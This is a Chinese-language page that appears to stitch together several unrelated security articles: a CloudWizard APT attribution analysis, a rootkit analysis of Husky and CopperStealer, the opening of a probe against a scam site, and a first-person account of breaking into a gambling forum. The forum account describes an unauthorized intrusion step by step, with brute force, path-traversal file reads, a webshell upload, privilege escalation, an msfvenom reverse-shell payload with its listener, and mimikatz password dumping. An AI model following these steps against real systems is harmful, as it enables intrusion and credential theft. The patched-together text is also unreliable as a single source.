在俄烏衝突地區運營的APT最近急劇增多，比如Gamaredon、CloudAtlas、BlackEnergy等。其中一些APT在過去早已被淘汰，例如ESET在2016年發現的Prikormka（Groundbait活動）。雖然幾年來沒有關於Prikormka或Operation Groundbait的更新，但我們發現了該活動中使用的惡意軟件CommonMagic和CloudWizard之間的多個相似之處。經過進一步調查，我們發現CloudWizard有著豐富而有趣的歷史。

初步調查結果惡意軟件作為一個名為“syncobjsup”的可疑Windows服務運行。該服務是由一個同樣可疑的路徑“C:\ProgramData\Apparition Storage\syncobjsup.dll”的DLL控制的。執行時，我們發現該DLL可以解密與該DLL位於同一目錄中的文件mods.lrc中的數據。用於解密的密碼是RC5，密鑰為88 6A 3F 24 D3 08 A3 85 E6 21 28 45 77 13 D0 38。然而，使用標準RC5實現對文件進行解密只會產生垃圾數據。仔細研究樣本中的RC5實現就會發現它存在漏洞：

1.png

漏洞在內部循環中：它使用變量i而不是j

對這個漏洞實現的搜索顯示，GitHub上的代碼要點很可能是被植入程序的開發人員借用的。在這個要點的評論中，GitHub用戶強調了這個漏洞：

2.png

同樣有趣的是，來自gist的密鑰與syncobjsup.dll庫中使用的密鑰相同。

解密後的文件在我們看來就像一個虛擬文件系統（VFS），包含多個可執行文件及其JSON編碼的配置：

3.png

這個VFS中的每個條目都包含魔術字節(' CiCi ')，條目名稱的ROR6哈希，以及條目大小和內容。

在mods.lrc中，我們發現：

三個dll（導出表名為Main.dll、Crypton.dll和Internet.dll）；

這些DLL的JSON配置。

syncobjsup.dll DLL迭代VFS條目，查找名稱為“Main”(ROR6 hash:0xAA23406F)的條目。此條目包含CloudWizard的Main.dllOrchestrator庫，該庫通過調用其SvcEntry導出進行反射加載和啟動。

4.png

在啟動時，Orchestrator生成一個掛起的WmiPrvSE.exe進程並將自身注入其中。從WmiPrvSE.exe進程中，它對VFS文件進行備份，複製mod。 LRC到mods, lrs。然後解析mod。獲取所有框架模塊dll及其配置。如上所述，配置是帶有字典對象的JSON文件:

5.png

Orchestrator本身包含一個配置，其參數如下：

受害者ID（例如03072020DD）；

框架版本（最新觀測版本為5.0）；

連續兩次檢測信號之間的間隔時間；

啟動模塊後，Orchestrator開始通過發送檢測信號消息與攻擊者通信。每次檢測信號都是一個JSON文件，包含受害者信息和加載模塊列表：

6.png

此JSON字符串使用加密模塊（來自VFS的Crypton.dll）加密，並通過互聯網通信模塊（internet.dll）發送給攻擊者。

作為對檢測信號的響應，Orchestrator接收允許其執行模塊管理的命令：安裝、啟動、停止、刪除模塊或更改其配置。每個命令都包含魔術字節（DE AD BE EF）和一個JSON字符串(e.g. {“Delete”: [“Keylogger”, “Screenshot”]})，後面跟著一個模塊DLL文件。

7.png

加密與通信如上所述，每次安裝CloudWizard框架時都會捆綁兩個模塊（Crypton.dll和Internet.dll）。 Crypton模塊對所有通信進行加密和解密。它使用兩種加密算法：

檢測信號消息和命令使用AES加密（密鑰在JSON配置VFS文件中指定）；

使用AES和RSA的組合對其他數據（例如，模塊執行結果）進行加密。首先，使用生成的偽隨機AES會話密鑰對數據進行加密，然後使用RSA對AES密鑰進行加密。

8.png

互聯網連接模塊將加密數據轉發給惡意軟件操作者。它支持四種不同的通信類型:

雲存儲:OneDrive, Dropbox, Google Drive；

基於Web的C2服務器；

主雲存儲是OneDrive，如果OneDrive無法訪問，則使用Dropbox和Google Drive。該模塊的配置包括雲存儲身份驗證所需的OAuth令牌。

至於web服務器終端，則在模塊無法訪問三個雲存儲中的任何一個時使用。為了與它交互，它向其配置中指定的URL發出GET請求，並在響應中獲取新命令。這些命令可能包括新的雲存儲令牌。

在檢查網絡模塊的字符串時，我們發現了一個包含來自開發人員計算機的目錄名的字符串：D:\Projects\Work_2020\Soft_Version_5\Refactoring。

模塊介紹信息收集是通過輔助DLL模塊完成的，這些模塊具有以下導出函數：

Start：啟動模塊；

Stop：停止模塊；

Whoami：返回帶有模塊信息(e.g. {“Module”:”Keylogger “,”time_mode”:”2″,”Version”:”0.01″})的JSON-object，time_mode的值表示該模塊是否是持久化的；

GetResult：返回模塊執行的結果(例如收集的屏幕截圖，麥克風錄音等)。大多數模塊以ZIP的形式返回結果（存儲在內存中）；

GetSettings：返回模塊配置；

模塊可以在重新啟動後繼續（在本例中，它們保存在mods.lrs VFS文件中）或在內存中執行，直到計算機關閉或操作員刪除模塊。

我們總共發現了9個輔助模塊執行不同的惡意活動，如文件收集、鍵盤記錄、截屏、錄製麥克風和竊取密碼。

我們最感興趣的模塊是從Gmail帳戶中執行電子郵件洩露的模塊。為了竊取，它從瀏覽器數據庫讀取Gmail cookie。然後，它使用獲得的cookie通過向https://mail.google.com/mail/u/

9.png

如果模塊收到這樣的提示，它模擬點擊“我想使用HTML Gmail”按鈕，通過從提示的HTML代碼向URL發出POST請求。

10.png

在獲得對傳統web客戶端的訪問權限後，該模塊會過濾活動日誌、聯繫人列表和所有電子郵件。

同樣有趣的是，這個模塊的代碼部分是從洩露的黑客團隊源代碼中藉來的。

在獲得CloudWizard的Orchestrator（MySQL 複製拓撲管理和可視化工具）及其模塊後，研究人員還未發現框架安裝程序。在搜索舊的分析數據時，我們能夠識別出從2017年到2020年使用的多個安裝程序。當時安裝的植入程序的版本是4.0(如上所述，我們觀察到的最新版本是5.0)。

未覆蓋的安裝程序是用NSIS構建的。啟動時，它會釋放三個文件：

C:\ProgramData\Microsoft\WwanSvc\WinSubSvc.exe；

C:\ProgramData\Microsoft\MF\Depending.GRL(在其他版本的安裝程序中，此文件也位於C:\ProgramData\Microsoft\MF\etwdrv.dll中)；

C: \ ProgramData \ System \ \ etwupd.dfg；

之後，它創建了一個名為“Windows Subsystem Service”的服務，該服務被配置為在每次啟動時運行WinSubSvc.exe二進製文件。

值得注意的是，安裝程序在感染後會顯示一條“Well done!”的消息：

11.png

這可能表明我們發現的安裝程序用於通過對目標計算機的物理訪問來部署CloudWizard，或者安裝程序試圖模擬網絡設置（如窗口標題中所示）配置程序。

舊版（4.0）和新版（5.0）CloudWizard有主要有以下區別：

舊版（4.0）網絡通信和加密模塊包含在主模塊中，而新版（5.0）網絡通信和加密模塊相互獨立；

舊版（4.0）框架源文件編譯目錄：D:\Projects\Work_2020\Soft_Version_4\ service，而新版（5.0）框架源文件編譯目錄是D:\Projects\Work_2020\Soft_Version_5\Refactoring；

舊版（4.0）使用RC5Simple庫中的RC5(硬編碼密鑰:7Ni9VnCs976Y5U4j)進行C2服務器流量加密和解密，而新版（5.0）使用RSA和AES進行C2服務器流量加密和解密(密鑰在配置文件中指定)。

幕後組織對CloudWizard進行細緻研究之後，研究人員決定尋找一些其幕後組織的線索。 CloudWizard讓研究人員想起了在烏克蘭觀察到並公開報導的兩次活動：Groundbait活動和BugDrop活動。 ESET於2016年首次公開了Groundbait活動，並於2008年首次觀察到其植入程序。在調查“Groundbait”活動時，ESET發現了Prikormka惡意軟件，這是第一個被公開有明確攻擊目標的烏克蘭組織開發的惡意軟件。根據ESET的報告，其幕後組織很可能來自烏克蘭。

至於BugDrop活動，這是CyberX在2017年發現的一個活動。該組織聲稱BugDrop活動與Groundbait活動有相似之處。卡巴斯基實驗室的研究人員也發現了類似的證據：

1.Prikormka USB DOCS_STEALER模塊(MD5: 7275A6ED8EE314600A9B93038876F853B957B316)包含PDB路徑D:\My\Projects_All\2015\wallex\iomus1_gz\Release\iomus.pdb；

2.BugDrop USB竊取模塊(MD5: a2c27e73bc5dec88884e9c165e9372c9)包含PDB路徑D:\My\Projects_All\2016\iomus0_gz\Release\usdlg.pdb；

再加上以下證據，CloudWizard框架的幕後組織與Groundbait活動和BugDrop活動幕後組織是一致的：

3.ESET研究人員發現，CloudWizard 4.0版本的加載程序(導出名稱為LCrPsdNew.dll)與Prikormka dll類似。

12.png

4.ESET檢測到CloudWizard 4.0樣本(MD5: 406494bf3cabbd34ff56dcbeec46f5d6, PDB path: D:\Projects\Work_2017\Service\Interactive Service_system\Release\Service.pdb)的加載程序為Win32/Prikormka.CQ。

5.Prikormka惡意軟件的多次感染都導致了CloudWizard框架的感染；

6.CloudWizard的幾個模塊實現類似於Prikormka和BugDrop模塊的相應模塊，不過由C變成了c++，USB竊取模塊通過IOCTL_STORAGE_QUERY_PROPERTY系統調用檢索連接的USB設備的序列號和產品ID。運行失敗的默認回退值為“undef”。

13.png

在BugDrop中檢索USB設備序列號和產品ID（MD5:F8BDE730EA3843441A657A103E90985E）

14.png

在CloudWizard中檢索USB設備序列號和產品ID（MD5:39B01A6A025F672085835BD699762AEC）

15.png

在上面的樣本中，在BugDrop（左）和CloudWizard（右）中分配“undef”字符串

7.用於截圖的模塊使用相同的窗口名稱列表來觸發截圖頻率的增加:“Skype”和“Viber”。 CloudWizard和Prikormka的截屏間隔使用相同的默認值(15分鐘)。

16.png

Prikormka中窗口標題文本的比較(MD5: 16793D6C3F2D56708E5FC68C883805B5)

17.png

在CloudWizard中將“SKYPE”和“VIBER”字符串添加到一組窗口標題中（MD5:26E55D10020FBC75D80589C081782EA2）

8.Prikormka和CloudWizard樣本中的文件列表模塊具有相同的名稱：Tree。它們也對目錄列表使用相同的格式字符串：“\t\t\t\t\t(%2.2u,%2.2u.%2.2u.%2.2u)\n”。

18.png

在Prikormka（MD5:EB56F9F7692F933BEE9660DFDFABAE3A）和CloudWizard（MD5:BF64B896B525B5870FE61221D9934D）中使用相同格式的字符串作為目錄列表

9.麥克風模塊以相同的方式錄製聲音：首先使用Windows Multimedia API製作WAV錄製，然後使用LAME庫將其轉換為MP3。雖然這種模式在惡意軟件中很常見，但用於指定LAME庫設置的字符串是特定的：8000 Hz和16 Kbps。 Prikormka和CloudWizard模塊都從這些字符串中提取整數，並在LAME庫中使用它們。

10.在Prikormka和CloudWizard模塊中的擴展列表中使用了類似的擴展順序：

19.png

Prikormka（MD5:EB56F9F7692F933BEE9660DFDFABAE3A）和CloudWizard（MD5:BF64B896B5253B5870FE61221D9934D）中的擴展列表

11.在Prikormka中，上傳至C2服務器的文件名格式為mm.yy_hh.mm.ss.

12.Prikormka和CloudWizard的C2服務器都由位於烏克蘭的託管服務託管。此外，在將文件洩露到Dropbox雲存儲方面，BugDrop和CloudWizard也有相似之處。

13.Prikormka、BugDrop和CloudWizard的受害者位於烏克蘭西部和中部，以及東歐的衝突地區。

CloudWizard和CommonMagic的相似之處如下：

14.在兩個框架中，執行與OneDrive通信的代碼是相同的。研究人員目前還沒有發現這段代碼是任何開源庫的一部分。此代碼使用相同的用戶代理:“Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML，如Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136”。

20.png

CloudWizard的互聯網通信模塊中的相同字符串(左，MD5: 84BDB1DC4B037F9A46C001764C115A32)和CommonMagic(右，MD5: 7C0E5627FD25C40374BC22035D3FADD8)

15.CloudWizard版本4和CommonMagic這兩個框架都使用RC5Simple庫進行加密。用RC5Simple加密的文件以一個7字節的標頭開始，在庫源代碼中設置為' RC5SIMP '。然而，這個值在惡意植入程序中已經發生了變化：CloudWizard中的DUREX43和CommonMagic中的Hwo7X8p。此外，CloudWizard和CommonMagic使用RapidJSON庫解析JSON對象。

16.在CommonMagic中上傳到C2服務器的文件名格式為“mm.dd _hh.mm.ss.ms.dat”(CloudWizard中上傳的文件名格式為“dd.mm.yyyy_hh.mm.ss.ms.dat”)。

17.從CloudWizard和CommonMagic樣本中提取的受害者ID是相似的：它們包含後跟兩個相同字母的日期，例如CloudWizard中的03072020DD, 05082020BB和CommonMagic中的WorkObj20220729FF。

18.CommonMagic和CloudWizard的受害者位於東歐的衝突地區。

21.png

總結卡巴斯基實驗室的研究人員早在2022年就開始了調查，最終發現CloudWizardAPT活動與兩個相關的大型模塊化框架：CommonMagic和CloudWizard。研究表明，CommonMagic和CloudWizard幕後組織發起的攻擊可以追溯到2008年，那一年首次發現了Prikormka樣本。自2017年以來，類似攻擊就銷聲匿跡了。然而，這兩個活動背後的組織並沒有消停，一直開發他們的工具集並攻擊感興趣的目標。

22.png

HireHackking

信息收集

         正准备开干，有人企鹅私聊我让我跟他赚大钱。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

         群发也就算了，都开始私聊了，现在不法分子猖狂到什么地步了，这能惯着它。。。京东卡先放放，打开前台是个博彩论坛。

记一次菠菜论坛的渗透测试经历

        随手一个login，后台出来了，网站是php的，常用口令试了几次，admin存在，密码错误。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

           放在云悉上看一下。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

           访问一下子域名，很僵硬。

记一次菠菜论坛的渗透测试经历

        再看看端口吧，3306开放，主机是Windows的。

记一次菠菜论坛的渗透测试经历

       收集完毕，框架没扫出来，几乎没啥进展，唯一的突破点就是后台和端口了。

记一次菠菜论坛的渗透测试经历

登录后台

       3306抱着尝试心态爆破试试，不出意外，mysql没出来。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

    top100后台爆破试了一下没出来，希望不大，翻找js，可能会有口令，敏感路径，特殊接口什么，但是真的干干净净，可能我看的不仔细。

没有其他突破点，只能再爆破后台试一下了，拿了个大字典，真的跑了超久，最后总算出来了，铁头娃在世。用的字典是人名缩写、年份、特殊字符给搞出来了。

记一次菠菜论坛的渗透测试经历

坎坷上传

后台论坛文章管理处看见编辑器，瞬间两眼放光。

记一次菠菜论坛的渗透测试经历

      允许单图片、多图片尝试上传。

记一次菠菜论坛的渗透测试经历

         裂开了，白名单限制。

记一次菠菜论坛的渗透测试经历

        各种截断绕过失败。

记一次菠菜论坛的渗透测试经历

          看看是什么编辑器，翻找js文件，得知为wangeditor编辑器。

记一次菠菜论坛的渗透测试经历

        网上搜了一下，这个编辑器好像没什么漏洞，思路已干~

记一次菠菜论坛的渗透测试经历

转折出现

继续翻翻找找，发现订单详情也可下载订单图片。

下载链接：

http://www.xxx.com/download.php?filepath=../../../wwwroot/php/upload/20191115/1605370100637841.jpg

记一次菠菜论坛的渗透测试经历

通过下载链接得到了网站绝对路径，猜测wwwroot为网站根目录，难道存在任意文件下载？

构造链接尝试一下：

http://www.xxx.com/download.php?filepath=../../../wwwroot/news.php

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

Nice啊，胡汉三终于要翻身了。

记一次菠菜论坛的渗透测试经历

继续寻找配置文件，一般index.php会引入数据库配置文件。

http://www.xxx.com/download.php?filepath=../../../wwwroot/index.php

记一次菠菜论坛的渗透测试经历

继续构造查看config.php。

http://www.xxx.com/download.php?filepath=../../../wwwroot/config.php

记一次菠菜论坛的渗透测试经历

拿到账号尝试连接，提示没有权限，还是以失败告终，猜测存在防火墙，或者数据库host值设置为仅本地访问。

没办法，继续翻，尝试读取apache配置文件。

http://www.xxx.com/download.php?filepath=../../../../apache/conf/httpd.conf

记一次菠菜论坛的渗透测试经历

王特发！！！html文件可作为php文件执行，赶紧回去尝试上传文件处，修改后缀上传，俩处上传点均上传失败~

继续翻，在会员管理找到一处上传头像处。

记一次菠菜论坛的渗透测试经历

修改文件名称上传，响应并返回上传路径。

记一次菠菜论坛的渗透测试经历

构造链接下载，文件下载已成功，证明存在。

http://www.xxx.com/download.php?filepath=../../../wwwroot/php/upload/20201115/1805872100098841.html

记一次菠菜论坛的渗透测试经历

拼接访问，成功解析。

http://www.xxx.com/php/upload/2020xxxx/1805872100098841.html

记一次菠菜论坛的渗透测试经历

激动地心，颤抖的手啊，成功getshell。

记一次菠菜论坛的渗透测试经历

梭哈成功

尝试提权，查看补丁情况，更新了不少，不过总有漏网之鱼。

记一次菠菜论坛的渗透测试经历

使用工具，直接搜索未打补丁，exp怼上，提权成功，拿到管理员权限。

记一次菠菜论坛的渗透测试经历

继续反弹shell，毕竟终端用的不舒服，这里用MSF反弹shell。

1、首先使用msf在本地生成一个木马文件，指定payload；

msfvenom -p  windows/x64/meterpreter_reverse_tcp lhost=xx.xx.xx.xx lport=4444 -f exe -o achess.exe

记一次菠菜论坛的渗透测试经历

2、本地开启python服务器，端口为8000；

python -m http.server 8000

记一次菠菜论坛的渗透测试经历

3、将文件放置在python服务器中，查看已经开启；

记一次菠菜论坛的渗透测试经历

在终端目标机中下载exe文件；

echo  open  服务器ip:8000>exe文件。

记一次菠菜论坛的渗透测试经历

4、使用msf中reverse_tcp开启监听；

handler -p windows/meterpreter_reverse_tcp -H ip -P 4444

记一次菠菜论坛的渗透测试经历

5、执行exe文件，成功收到shell。

记一次菠菜论坛的渗透测试经历

拿到会话不要掉以轻心，MSF中自带mimikatz模块，MSF中的 mimikatz 模块同时支持32位和64位的系统，但是该模块默认加载32位系统，所以如果目标主机是64位系统，直接加载该模块会导致很多功能无法使用。所以64位系统下必须先查看系统进程列表，然后将meterpreter进程迁移到一个64位程序的进程中，才能加载mimikatz并且查看系统明文，同时也是防止会话断掉。

Ps查看进程，寻找稳定进程进行迁移。

migrate pid号

记一次菠菜论坛的渗透测试经历

将meterpreter进程迁移到408进程：migrate  408

记一次菠菜论坛的渗透测试经历

成功迁移，万事具备，就差密码，同样使用MSF中mimikatz模块抓取密码。

首先加载mimikatz模块：

记一次菠菜论坛的渗透测试经历

这里列出 mimikatz_command模块用法:

meterpreter > mimikatz_command -f a::  输入一个错误的模块，可以列出所有模块

meterpreter > mimikatz_command -f samdump::  可以列出samdump的子命令

meterpreter > mimikatz_command -f samdump::hashes

meterpreter > mimikatz_command -f handle::list  列出应用进程

meterpreter > mimikatz_command -f service::list  列出服务

meterpreter > mimikatz_command -f sekurlsa::searchPasswords

meterpreter > run post/windows/gather/smart_hashdump  获取hash

选择samdump模块，该模块存在俩个功能:

?  mimikatz_command -f  samdump::hashes

?  mimikatz_command -f  samdump::bootkey

记一次菠菜论坛的渗透测试经历

但是这样抓到的是密码的hash值，我想直接看到明文密码，使用sekurlsa模块下的searchPasswords功能,执行以下命令,成功抓取密码。

mimikatz_command  -f sekurlsa::searchPasswords

记一次菠菜论坛的渗透测试经历

最后3389连接成功，打完收工。

记一次菠菜论坛的渗透测试经历

证明有时当一当铁头娃还是不错的。

总结

从云悉，fofa，各类插件，子域名，端口信息收集，爆破后台进入该站点(有个好字典很重要)，找到编辑器上传文件失败，白名单限制，js文件找到该编辑器名称，查询编辑器漏洞无果，找到图片下载处功能点，下载链接暴露网站路径，通过文件下载找到数据库配置文件，连接无权限，找到apache配置文件，发现文件后缀可绕过，另寻其他上传点成功getshell，提权操作后使用MSF中mimikatz模块抓取到登录密码，远程桌面连接成功，至此渗透结束。


转载于原文链接： https://cloud.tencent.com/developer/article/1790943


HireHackking

本文會分析野外發現的兩個rootkit示例：Husky rootkit和Mingloa/CopperStealer rootkit。

驅動入口函數DriverEntry讓我們從二進制的驅動入口函數DriverEntry開始，在Windows內核驅動程序中，它是DriverEntry。

DriverEntry通常包括以下代碼塊：

調用IoCreateDevice和IoCreateSymbolicLink；

初始化主要函數數組，其中包含指向各種處理函數的函數指針；

為DriverUnload例程分配一個指向處理程序函數的函數指針。

以下片段（代碼段1）展示瞭如何用C語言實現簡單Windows內核驅動程序的DriverEntry。

1.png

C語言中DriverEntry實現的一個示例

下一個代碼段(代碼段2)展示了同一個DriverEntry的反彙編過程。

2.png

代碼段2：DriverEntry的反彙編

DriverUnload函數DriverUnload是一個在卸載驅動程序時調用的函數。

此處理程序函數的目的是清除驅動程序在初始化和執行過程中創建的任何資源，例如，刪除在DriverEntry中創建的設備和符號鏈接。

調用ExFreePoolWithTag來取消分配在DriverEntry函數中分配的任何池內存也是一個很好的策略函數。

3.png

代碼段3：C語言中DriverUnload實現的一個示例

Windows內核結構為了充分理解Windows內核驅動程序的反彙編，我們還應該熟悉對像管理器和內核中其他組件使用的一些內核結構。

例如，以下結構是DRIVER_OBECT（代碼段4）。

4.png

代碼段4：分解DRIVER_OBECT結構

當對IRP進行逆向工程時，繪製出驅動程序使用的IRP主要函數是很有用的。例如，通過查看結構偏移（代碼段4）和反彙編（代碼段2），我們可以確定sub_1400014B0是DriverUnload。

我們還可以使用wdm.h/ntddk.h中描述的IRP主要函數代碼值，通過檢查代碼的主要函數，得出sub_140001280（在Snippet 2中）是IRP_MJ_CREATE的函數處理程序的結論，該代碼將從DRIVER_OBECT結構中的MajorFunction（0x70）的偏移量得出0x70的結果。這顯然是0x00*PointerSize（x64體系結構中為8）；因此，正在處理的是IRP_MJ_CREATE。

可以用同樣的方式，確定IRP_J_CLOSE、IRP_J_READ、IRP_MJ_WRITE和IRP_J_DEVICE_CONTROL的函數處理程序是什麼。

5.png

代碼段5：摘自wdm.h，它定義了所有IRP主要函數的常數值

在進行分析時，我們熟悉的其他一些內核結構是IRP和IO_STACK_LOCATION結構。

IRP，也稱為I/O請求包，是一種在創建I/O請求期間，在設備堆棧中的不同驅動程序之間移動，直到請求完成的結構。

當在用戶獲取的設備對象的句柄上從用戶模式調用具有特定IOCTL操作的DeviceIoControl時，會創建IRP。

6.png

代碼段6：IRP結構的分解

此外，IO_STACK_LOCATION表示IRP在設備堆棧中的當前位置（因此IRP結構中的CurrentLocation字段是指向IO_STACK-LOCATION的指針）。

IO_STACK_LOCATION結構包含一個聯合類型的參數字段，該字段指定驅動程序中不同主函數要使用的不同參數。

例如，如果當前操作是IRP_MJ_DEVICE_CONTROL，則將使用DeviceIoControl類型的參數，包括OutputBufferLength、InputBufferLength、IoControlCode和Type3InputBuffer。

7.png

代碼段7：IO_STACK_LOCATION結構的分解

有了我們對Windows內核驅動程序的新理解，以及如何在Windows驅動程序中找到關鍵函數，讓我們看看一些真實的示例。

示例1：Brute Ratel C4(BRC4)攻擊釋放“Husky” Rootkit這項研究來源於Palo Alto Networks Unit 42在一篇關於Brute Ratel C4的博客https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/中提到的與活動相關的示例。不過，他們沒有提供這個示例的技術分析。

示例詳細信息8.png

示例概述該示例是一個內核驅動程序，使用LAP$US組織竊取的NVIDIA證書進行簽名。它使用zerosum0x0（圖1）找到的Heresy's Gate方法https://zerosum0x0.blogspot.com/2020/06/heresys-gate-kernel-zwntdll-scraping.html，這是一種用於從內核模式驅動程序繞過SMEP向用戶模式註入代碼的技術。

微信截图_20230518134625.png

通過zerosum0x0使用Heresy‘s Gate方法對簽名驅動程序進行分解

注入的shellcode使用經典技術，如遍歷InLoadOrderModuleList以查找庫句柄，以及解析API函數（如LoadLibraryA和GetProcAddress），這些函數可用於解析任何其他API。

注入的shellcode分析起來也很長（圖2），看起來與前面提到的Unit 42博客中描述的shellcode非常相似，因為它使用多個推送指令在堆棧上存儲數據。存儲在堆棧中的數據包括：

Brute Ratel C4的Base64編碼配置數據；

Brute Ratel C4有效負載；

可移植可執行文件（PE）64二進製文件，是VMProtect打包的內核驅動程序，稍後加載。

9.png

圖2：摘自shellcode，將許多值推送到堆棧並形成Base64 blob

Brute Ratel C4配置可以使用以下短腳本（代碼段8）進行解密：

10.png

代碼段8：用於解碼和解密從堆棧中提取的Base64 blob的配置的代碼段

解密配置後，我們得到以下輸出：

11.png

代碼段9：解密配置的示例

解密的配置數據（Snippet 9）包括Brute Ratel C4有效負載的一些基本配置，包括C2服務器地址和開始通信的端口，對C2的請求應該是什麼樣子的Base64編碼模板，以及C2上用於各種功能和選項的不同路徑。

12.png

攻擊場景

我們發現x64 rootkit與Brute Ratel C4示例一起安裝在受攻擊的設備上更有趣，因為它被覆蓋相同示例的其他供應商完全忽略了。

Husky Rootkitx64 rootkit，我們稱之為Husky Rootkit，與Brute Ratel有效負載一起被釋放。

內核驅動程序由VMProtect打包，並使用頒發給“SHANGMAO CHEN”的證書進行簽名(圖4)。

13.png

rootkit使用的證書

驅動入口函數DriverEntry由於這個DriverEntry(圖5)函數被打包並混淆了，因此很難從中收集任何信息。它從一系列無條件分支指令(jmp)開始，基本上指向VMProtect解包存根。

14.png

VMProtected DriverEntry顯示了一個無條件分支指令作為它的第一條指令

但是在解包之後，我們發現像GsDriverEntry這樣的函數包含了更多的信息，以及我們可以在分析中使用的重要字符串（圖6）。

15.png

從GsDriverEntry中反彙編一個分支，該分支包含以thpt（HTTP的混合版本）作為其URL協議的URL字符串

C2通信rootkit直接與\\Device\Tcp進行交互以進行通信。因此，在受攻擊的設備上運行的用戶模式工具(如netstat和tcpview)會隱藏連接。

另一種方法是在VM主機上使用Wireshark進入客戶機的共享網絡接口，以監控受攻擊虛擬機的所有通信流量（圖7和圖8）。

16.png

Wireshark網絡捕獲的由rootkit啟動的流量

該惡意軟件與多個域以及每個域的相對路徑進行通信。

17.png

從服務器到URL中的/xccdd路徑的Web請求和響應顯示了響應有效負載

隱寫術引起我們注意的特定HTTP流量是從以下URL下載的一些圖像（JPEG–JFIF標頭）：http://pic.rmb.bdstatic.com//bjh/.jpeg.

JPEG文件(圖9)是一張看起來很無辜的狗的圖片，因此研究人員將這些圖片命名rootkit為“Husky”。

18.png

該圖片含有有效負載

每個JPEG也有一個隱寫有效負載，其形式是在多個0的分隔符之後，將數據連接到偏移量為0x1769的圖片末尾(圖10)。

19.png

jpg文件中帶有狗的圖片末尾和負載的開始之間的分隔符的Hexview

通過查看數據，我們可以看到前32個字節與前一個請求對hxxp://rxeva6w.com:10100/xccdd的十六進制格式的服務器響應相同(代碼段10)。

20.png

代碼段10：有效負載的前32個字節在不同的有效負載中相似

諷刺是，域rxeva6w.com在88次檢測中一次也未被檢測到（圖11）。

21.png

VirusTotal顯示了在rveva6w.com域上的檢測結果

加密HTTP有效負載使用的加密/解密算法是一種稍微修改過的DES算法，密鑰為“j_k*a-vb”。

22.png

將解密密鑰傳遞給DES解密函數

附加功能除了通過HTTP進行通信和隱藏連接外，這個rootkit還能夠加載從不同URL下載的新模塊。

顯然，這個rootkit包含了本文未提及的額外功能。

示例2：Mingloa（CopperStealer）Rootkit2019年，ESET首次發現並命名了Mingloa惡意軟件。該惡意軟件後來也被Proofpoint發現了，也被稱為CopperStealer。

正如Proofpoint研究中所指出的，該惡意軟件具有查找和竊取保存的瀏覽器密碼的能力。除了保存的瀏覽器密碼外，該惡意軟件還使用存儲的cookie從Facebook檢索用戶訪問令牌。

這是CyberArk Endpoint Privilege Manager中包含的一系列憑據和安全令牌保護技術，這可以顯著限制CopperStealer等憑據竊取程序的影響。如果使用這些技術，CopperStealer將無法從受攻擊的設備中抓取數據。

23.png

示例概述

此惡意內核模塊是針對x86和x64體系結構編譯的。

24+1.png

惡意軟件攻擊場景的分解

該驅動程序使用頒發給“大連龍夢網絡技術有限公司”或“大連晨星網絡技術”的證書進行簽名。此證書可能是從受攻擊的設備上竊取的，或者是由員工洩露的。

25.png

頒發給“大連龍夢網絡科技”的證書，用於簽名驅動程序

通過用戶模式安裝讓我們首先看看應該部署驅動程序的用戶模式惡意軟件攻擊例程。

26.png

分解用戶模式組件執行流以安裝驅動程序

通過查看這個片段，我們可以看到InstallDriver函數接收到一個參數，並且首次調用時參數值為0。第二次調用時，參數值為1。

如果我們仔細觀察InstallDriver，會發現它首先嘗試創建一個semaphore，然後檢查Windows版本。如果這些調用中的任何一個失敗，它將退出而不執行任何操作。

27.png

二進製文件中InstallDriver函數開頭的反彙編，它調用CreateSemaphoreWrapper

如果之前的檢查成功，則惡意軟件將繼續，停止並刪除任何具有相同名稱的服務，最後將shouldInstallDriver參數與0進行比較。

28.png

CreateSemphoreWrapper函數的反彙編

如果shouldInstallDriver的值等於0，則函數將返回，不再執行任何指令。否則，它將根據系統架構，繼續安裝嵌入二進製文件中的適當驅動程序。

29.png

對InstallDriver函數的分解，它描述在系統上安裝驅動程序的流程

這部分代碼還包含一個邏輯錯誤，它會阻止加載此驅動程序。

第一次調用InstallDriver(應該只刪除任何現有的驅動程序)也會創建一個信號量。第二個調用也應該安裝驅動程序，但在安裝驅動程序之前會提前退出，因為semaphore已經存在。

這個邏輯錯誤有些神秘，因為惡意軟件通常會針對這些類型的錯誤進行測試。在這種情況下，它要么是在沒有任何測試的情況下匆忙部署的，要么還不打算部署到任何受攻擊的設備上。

驅動入口函數DriverEntry該惡意軟件的內核模式組件是傳統文件系統過濾器驅動程序，與更現代的迷你過濾器驅動程序不同，它可以在不使用回調過濾函數（如操作前回調例程或操作後回調例程）的情況下修改系統行為。

傳統的文件系統過濾器驅動程序可以直接修改文件系統行為，並且在每個I/O操作(如CREATE, READ和WRITE)中都被調用。

通過查看DriverEntry，我們可以看到兩個主要的函數例程被分配了IRP_MJ_READ和IRP_MJ_SET_INFORMATION。此外，它還註冊了兩個回調函數——一個使用CmRegisterCallback，另一個使用IoRegisterFsRegistrationChange。

HireHackking

0X00 事情起因

  大街上偶遇预存话费3999送平板被套路，支付宝被一顿操作又套现又转账的把我花呗都套走了。

回到家越发越觉得不对劲，越发越后悔，网上一搜关于这类的活动一抓一大把而且一模一样越看是越生气啊。

图片  

最主要的呢，送的平板也是八百多的根本不值预存话费的这个价，且居然有卡死的现象，于是乎我决定深挖瞧瞧。

0X01 信息收集

 通过验证短信发过来的短域名链接复制到浏览器解析得到网址xx.xxxx.xx好家伙这网址一看就不是移动官方旗下的,在通过站长工具查询该网址解析到阿里云且未启用cdn，该域名持有者系广东一家某科技公司，域名到今年11月份就到期了，在通过搜索该企业发现经营异常这四个大字，我这好几千的话费肯定是凉透了。

图片图片图片

通过对得到的域名用nmap -p 1-65355 xx.xxxx.xx进行全端口扫描瞧瞧都开放了哪些服务，再从其服务进行入手，可以看到也就只有80跟22端口，唯一有用的信息就是22端口知道对方是Linux服务器的。

图片

在通过对80端口访问web服务得到以下信息，这界面也是短信内容里短域名所跳转过来的界面。

图片

它的URL形式是/admin/user/login明显的用户登陆界面，众所周知admin是管理的意思，直觉让我逐层递减目录访问，果不其然跳转到了admin/login的商家管理界面。

图片


0X02 漏洞挖掘

